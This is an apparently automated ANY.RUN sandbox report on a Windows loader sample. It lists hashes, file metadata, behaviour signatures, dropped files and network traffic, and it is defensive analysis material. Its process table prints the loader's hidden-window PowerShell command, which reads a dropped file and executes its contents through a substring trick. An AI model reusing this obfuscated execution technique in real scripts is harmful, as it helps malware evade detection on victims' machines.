| File name: | 259018c94d2704ea14bd29e2555a2ab62c278160c81ac824a372a7966565d5a2 |
| Full analysis: | https://app.any.run/tasks/eac2d0f9-b3b4-4346-bf8d-e8031056caa7 |
| Verdict: | Malicious activity |
| Threats: | A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection. |
| Analysis date: | January 10, 2025, 18:26:40 |
| OS: | Windows 10 Professional (build: 19045, 64 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/vnd.microsoft.portable-executable |
| File info: | PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive, 5 sections |
| MD5: | 81EE208A058EFEBDDABD4F78FFF047D0 |
| SHA1: | B5855BDFBB89A50BEC871EE72D675063F9B49183 |
| SHA256: | 259018C94D2704EA14BD29E2555A2AB62C278160C81AC824A372A7966565D5A2 |
| SSDEEP: | 24576:f84s1Nb487uNkqiKjoYNPQmnFV/DivZKXwJ3ddGcIXU5A0ENL+b2T:f8tNb486NkqiKjoYNPQmnFVLiv4XwJ3q |
MALICIOUS
Run PowerShell with an invisible window
- powershell.exe (PID: 6296)
SUSPICIOUS
Executable content was dropped or overwritten
- 259018c94d2704ea14bd29e2555a2ab62c278160c81ac824a372a7966565d5a2.exe (PID: 6260)
- powershell.exe (PID: 6296)
Starts POWERSHELL.EXE for commands execution
- 259018c94d2704ea14bd29e2555a2ab62c278160c81ac824a372a7966565d5a2.exe (PID: 6260)
Converts a specified value to a byte (POWERSHELL)
- powershell.exe (PID: 6296)
Detects reflection assembly loader (YARA)
- powershell.exe (PID: 6296)
Reads security settings of Internet Explorer
- syrians.exe (PID: 3540)
Checks Windows Trust Settings
- syrians.exe (PID: 3540)
INFO
The sample compiled with english language support
- 259018c94d2704ea14bd29e2555a2ab62c278160c81ac824a372a7966565d5a2.exe (PID: 6260)
- powershell.exe (PID: 6296)
Reads the computer name
- 259018c94d2704ea14bd29e2555a2ab62c278160c81ac824a372a7966565d5a2.exe (PID: 6260)
The process uses the downloaded file
- powershell.exe (PID: 6296)
Checks supported languages
- 259018c94d2704ea14bd29e2555a2ab62c278160c81ac824a372a7966565d5a2.exe (PID: 6260)
- syrians.exe (PID: 3540)
Create files in a temporary directory
- 259018c94d2704ea14bd29e2555a2ab62c278160c81ac824a372a7966565d5a2.exe (PID: 6260)
Script raised an exception (POWERSHELL)
- powershell.exe (PID: 6296)
Converts byte array into ASCII string (POWERSHELL)
- powershell.exe (PID: 6296)
Uses string split method (POWERSHELL)
- powershell.exe (PID: 6296)
Gets data length (POWERSHELL)
- powershell.exe (PID: 6296)
Checks whether the specified file exists (POWERSHELL)
- powershell.exe (PID: 6296)
The executable file from the user directory is run by the Powershell process
- syrians.exe (PID: 3540)
Checks proxy server information
- syrians.exe (PID: 3540)
Reads the software policy settings
- syrians.exe (PID: 3540)
Creates files or folders in the user directory
- syrians.exe (PID: 3540)
Reads the machine GUID from the registry
- syrians.exe (PID: 3540)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .exe | | | Win32 Executable MS Visual C++ (generic) (67.4) |
|---|---|---|
| .dll | | | Win32 Dynamic Link Library (generic) (14.2) |
| .exe | | | Win32 Executable (generic) (9.7) |
| .exe | | | Generic Win/DOS Executable (4.3) |
| .exe | | | DOS Executable Generic (4.3) |
EXIF
EXE
| ProductName: | sykes forlse |
|---|---|
| LegalTrademarks: | outblunder |
| LegalCopyright: | cassoni chirologies uncompliable |
| InternalName: | ryge orkesterets.exe |
| FileDescription: | marg |
| CharacterSet: | Unicode |
| LanguageCode: | English (U.S.) |
| FileSubtype: | - |
| ObjectFileType: | Executable application |
| FileOS: | Win32 |
| FileFlags: | (none) |
| FileFlagsMask: | 0x0000 |
| ProductVersionNumber: | 3.5.0.0 |
| FileVersionNumber: | 3.5.0.0 |
| Subsystem: | Windows GUI |
| SubsystemVersion: | 4 |
| ImageVersion: | 6 |
| OSVersion: | 4 |
| EntryPoint: | 0x3532 |
| UninitializedDataSize: | 2048 |
| InitializedDataSize: | 184832 |
| CodeSize: | 27136 |
| LinkerVersion: | 6 |
| PEType: | PE32 |
| ImageFileCharacteristics: | No relocs, Executable, No line numbers, No symbols, 32-bit |
| TimeStamp: | 2023:07:02 02:09:48+00:00 |
| MachineType: | Intel 386 or later, and compatibles |
Total processes
131
Monitored processes
4
Malicious processes
2
Suspicious processes
0
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 6260 | "C:\Users\admin\AppData\Local\Temp\259018c94d2704ea14bd29e2555a2ab62c278160c81ac824a372a7966565d5a2.exe" | C:\Users\admin\AppData\Local\Temp\259018c94d2704ea14bd29e2555a2ab62c278160c81ac824a372a7966565d5a2.exe | explorer.exe | ||||||||||||
User: admin Integrity Level: MEDIUM Description: marg Exit code: 4294967295 Modules
| |||||||||||||||
| 6296 | powershell.exe -windowstyle hidden "$johannine=gc -raw 'C:\Users\admin\AppData\Roaming\erstatningsgraden\Successively.Ton';$Elitism=$johannine.SubString(69953,3);.$Elitism($johannine) " | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | 259018c94d2704ea14bd29e2555a2ab62c278160c81ac824a372a7966565d5a2.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 6304 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | powershell.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Console Window Host Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 3540 | "C:\Users\admin\AppData\Local\Temp\syrians.exe" | C:\Users\admin\AppData\Local\Temp\syrians.exe | powershell.exe | ||||||||||||
User: admin Integrity Level: MEDIUM Description: marg Modules
| |||||||||||||||
Total events
8 453
Read events
8 450
Write events
3
Delete events
0
Modification events
| (PID) Process: | (3540) syrians.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content |
| Operation: | write | Name: | CachePrefix |
Value: | |||
| (PID) Process: | (3540) syrians.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies |
| Operation: | write | Name: | CachePrefix |
Value: Cookie: | |||
| (PID) Process: | (3540) syrians.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History |
| Operation: | write | Name: | CachePrefix |
Value: Visited: | |||
Executable files
2
Suspicious files
13
Text files
5
Unknown types
0
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 6260 | 259018c94d2704ea14bd29e2555a2ab62c278160c81ac824a372a7966565d5a2.exe | C:\Users\admin\AppData\Roaming\erstatningsgraden\Unlatches.Vel | binary | |
MD5:D38759CF2FE7743161740414AF4DB1F6 | SHA256:A6B47EA5FAB45625DE71C506F065B74555CBBDBA9A394382C4EB473D863279A4 | |||
| 6260 | 259018c94d2704ea14bd29e2555a2ab62c278160c81ac824a372a7966565d5a2.exe | C:\Users\admin\AppData\Roaming\erstatningsgraden\preappearance.glu | binary | |
MD5:CCE82C77E237537520FBD52B63A51E58 | SHA256:0F7DCA6879E497104B6813228391DECF7D6270D90FC887F1B9384B5E5B438221 | |||
| 3540 | syrians.exe | C:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\DDE8B1B7E253A9758EC380BD648952AF_8C0D12F01B5D981AACF8BFC375CA0F2B | binary | |
MD5:273E853ECC801AD2A5B2B9B2B158076A | SHA256:B0EA2EE647CC760B34B5ED6B27C27C2D9DAA353859B1CC64B881EA0B5EB7E093 | |||
| 3540 | syrians.exe | C:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\C02877841121CC45139CB51404116B25_252B35A0C9E78A87AECDDBB68FF7B1F0 | binary | |
MD5:1AC4B8399602B21A9623D68FBC3EE204 | SHA256:8C46BE4C3F15D73ED0E6B3F87B35CF0453526161B8F95D8D7CC968EB4C22A185 | |||
| 6296 | powershell.exe | C:\Users\admin\AppData\Local\Temp\syrians.exe | executable | |
MD5:81EE208A058EFEBDDABD4F78FFF047D0 | SHA256:259018C94D2704EA14BD29E2555A2AB62C278160C81AC824A372A7966565D5A2 | |||
| 6260 | 259018c94d2704ea14bd29e2555a2ab62c278160c81ac824a372a7966565d5a2.exe | C:\Users\admin\AppData\Roaming\erstatningsgraden\reaktiv.ove | abr | |
MD5:B4BD98AA231F431FA2C0B32C041971DA | SHA256:E34CA004CCB16A80E49010B584428A08AB3D89FCA778567346D26F84FF892962 | |||
| 6296 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_rrg3wdze.hs4.psm1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 3540 | syrians.exe | C:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\DDE8B1B7E253A9758EC380BD648952AF_8C0D12F01B5D981AACF8BFC375CA0F2B | binary | |
MD5:F9F427ED919044CB4EE9A89329AFC073 | SHA256:C5C46BF8F1F305D18F192CFDAB9D57F409F52685EEFCDCC7F2AD3570B7EB6A13 | |||
| 3540 | syrians.exe | C:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\05DDC6AA91765AACACDB0A5F96DF8199 | binary | |
MD5:A58CDF33F70983EBB41F5D28B8E01D15 | SHA256:9CAF06867EF978FA19F41E279985902BC07DFDA81E65056C6516A1506B245E88 | |||
| 6260 | 259018c94d2704ea14bd29e2555a2ab62c278160c81ac824a372a7966565d5a2.exe | C:\Users\admin\AppData\Roaming\erstatningsgraden\Ubekymret\storfavoritters.tid | binary | |
MD5:F28B6FB0CA8AF14D2913C43CBEA08754 | SHA256:F1C35573809F92DC65D2EB2EBC3CD9D0C78E75E73ED741E52BAECAE2FC02DD70 | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
11
TCP/UDP connections
37
DNS requests
22
Threats
0
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
— | — | GET | 200 | 23.48.23.193:80 | http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl | unknown | — | — | whitelisted |
— | — | GET | 200 | 184.30.21.171:80 | http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl | unknown | — | — | whitelisted |
— | — | GET | 200 | 192.229.221.95:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTrjrydRyt%2BApF3GSPypfHBxR5XtQQUs9tIpPmhxdiuNkHMEWNpYim8S8YCEAI5PUjXAkJafLQcAAsO18o%3D | unknown | — | — | whitelisted |
5888 | SIHClient.exe | GET | 200 | 2.23.246.101:80 | http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl | unknown | — | — | whitelisted |
3540 | syrians.exe | GET | 200 | 142.250.186.163:80 | http://ocsp.pki.goog/gsr1/MFEwTzBNMEswSTAJBgUrDgMCGgUABBS3V7W2nAf4FiMTjpDJKg6%2BMgGqMQQUYHtmGkUNl8qJUC99BM00qP%2F8%2FUsCEHe9DWzbNvka6iEPxPBY0w0%3D | unknown | — | — | whitelisted |
1176 | svchost.exe | GET | 200 | 192.229.221.95:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D | unknown | — | — | whitelisted |
3540 | syrians.exe | GET | 200 | 142.250.74.195:80 | http://c.pki.goog/r/r1.crl | unknown | — | — | whitelisted |
6392 | backgroundTaskHost.exe | GET | 200 | 192.229.221.95:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAUZZSZEml49Gjh0j13P68w%3D | unknown | — | — | whitelisted |
3540 | syrians.exe | GET | 200 | 142.250.184.195:80 | http://o.pki.goog/wr2/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBRTQtSEi8EX%2BbYUTXd8%2ByMxD3s1zQQU3hse7XkV1D43JMMhu%2Bw0OW1CsjACEQCtrC6LRgin8QlSmIIYAEvj | unknown | — | — | whitelisted |
5888 | SIHClient.exe | GET | 200 | 2.23.246.101:80 | http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl | unknown | — | — | whitelisted |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
4 | System | 192.168.100.255:137 | — | — | — | whitelisted |
4712 | MoUsoCoreWorker.exe | 51.124.78.146:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | NL | whitelisted |
244 | svchost.exe | 51.124.78.146:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | NL | whitelisted |
— | — | 51.124.78.146:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | NL | whitelisted |
— | — | 23.48.23.193:80 | crl.microsoft.com | Akamai International B.V. | DE | whitelisted |
— | — | 184.30.21.171:80 | www.microsoft.com | AKAMAI-AS | DE | whitelisted |
5064 | SearchApp.exe | 104.126.37.130:443 | www.bing.com | Akamai International B.V. | DE | whitelisted |
— | — | 192.229.221.95:80 | ocsp.digicert.com | EDGECAST | US | whitelisted |
4 | System | 192.168.100.255:138 | — | — | — | whitelisted |
1076 | svchost.exe | 23.35.238.131:443 | go.microsoft.com | AKAMAI-AS | DE | whitelisted |
DNS requests
Domain | IP | Reputation |
|---|---|---|
settings-win.data.microsoft.com |
| whitelisted |
google.com |
| whitelisted |
crl.microsoft.com |
| whitelisted |
www.microsoft.com |
| whitelisted |
www.bing.com |
| whitelisted |
ocsp.digicert.com |
| whitelisted |
go.microsoft.com |
| whitelisted |
login.live.com |
| whitelisted |
arc.msn.com |
| whitelisted |
fd.api.iris.microsoft.com |
| whitelisted |